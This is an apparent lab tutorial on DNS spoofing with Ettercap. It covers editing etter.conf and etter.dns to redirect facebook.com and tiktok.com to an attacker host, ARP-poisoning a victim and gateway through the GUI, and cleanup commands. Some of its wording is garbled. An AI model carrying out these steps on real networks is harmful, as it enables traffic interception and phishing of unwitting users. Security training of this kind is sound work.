1. Edit Ettercap configuration files#

Open the main configuration and the DNS hosts file in a text editor:

1
sudo nano /etc/ettercap/etter.conf
2
sudo nano /etc/ettercap/etter.dns

1
[privs]
2
ec_uid = 0    # root (default is usually nobody)
3
ec_gid = 0    # root group

1
# IPv4 redirect (example)
2
# redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp -d %destination --dport %port -j REDIRECT --to-port %rport"
3
# redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp -d %destination --dport %port -j REDIRECT --to-port %rport"
4

5
# IPv6 redirect
6
redir6_command_on = "ip6tables -t nat -A PREROUTING -i %iface -p tcp -d %destination --dport %port -j REDIRECT --to-port %rport"
7
redir6_command_off = "ip6tables -t nat -D PREROUTING -i %iface -p tcp -d %destination --dport %port -j REDIRECT --to-port %rport"

2. Configure etter.dns (hosts mapping for dns_spoof)#

etter.dns accepts entries in this form:

1
hostname [A|AAAA|PTR|MX|WINS|SRV|TXT] value [TTL]

Example (use RFC 5737 / RFC 3330 test IPs or RFC1918 addresses to avoid interfering with real hosts):

1
############################################################################
2
# ettercap -- etter.dns -- sample hosts file for dns_spoof plugin
3
# Educational example — use ONLY in an isolated lab or with permission.
4
############################################################################
5

6
#---------------------MAIN----------------------
7
# Basic A records (IPv4)
8
facebook.com         A    yourWebIp
9
tiktok.com           A    198.51.100.10
10
intranet.local       A    10.10.10.5
11
#-------------------------------------------
12

13
# Wildcard example (matches any subdomain)
14
*.example.lab        A    198.51.100.10
15

16
# PTR (reverse) records
17
host1.example.lab    PTR  10.0.0.10
18
printer.local        PTR  10.0.0.20  300
19

20
# MX, SRV, TXT examples
21
example-mail.com     MX   192.0.2.55
22
_ldap._tcp.example   SRV  10.0.0.40:389
23
example.com          TXT  "v=spf1 ip4:192.0.2.0/24 -all" 3600
24

25
############################################################################

facebook.com is a target domain and A → IPis attacker set domain IP this redirect to the attacker website but URL is same.

3. Launch Ettercap GUI and perform the attack (lab only)#

1. Start Ettercap in GUI mode:

   1
   sudo ettercap -G
   

2. Select your network interface (e.g., eth0 or wlan0).

1. Start host scan → list connected hosts on the network.

   

2. Set Target 1 as the victim IP and Target 2 as the gateway/router IP.

1. Start MITM (ARP poisoning) attack to intercept traffic.

1. Enable the dns_spoof plugin from the Plugins menu.

1. Start the spoofing

When the victim opens tiktok.com or facebook.com, the DNS query is poisoned and the browser is redirected to my host at 192.168.0.110 (my local machine), while the address bar continues to display the original domain name.

4. Cleanup & Remediation#

After testing, restore victim systems and network equipment:

• Stop Ettercap and all attacks.

• The site is now served over HTTP (TLS/SSL is missing), not HTTPS.

  

• Flush DNS caches on affected hosts:

  • Windows:

    1
    ipconfig /flushdns
    

    

  • Linux (systemd-resolved):

    1
    sudo systemd-resolve --flush-caches
    

  • macOS:

    1
    sudo dscacheutil -flushcache; sudo killall -HUP mDNSResponder
    

• Restart network interfaces or reboot devices if necessary.

• Revert any firewall/iptables rules you temporarily applied.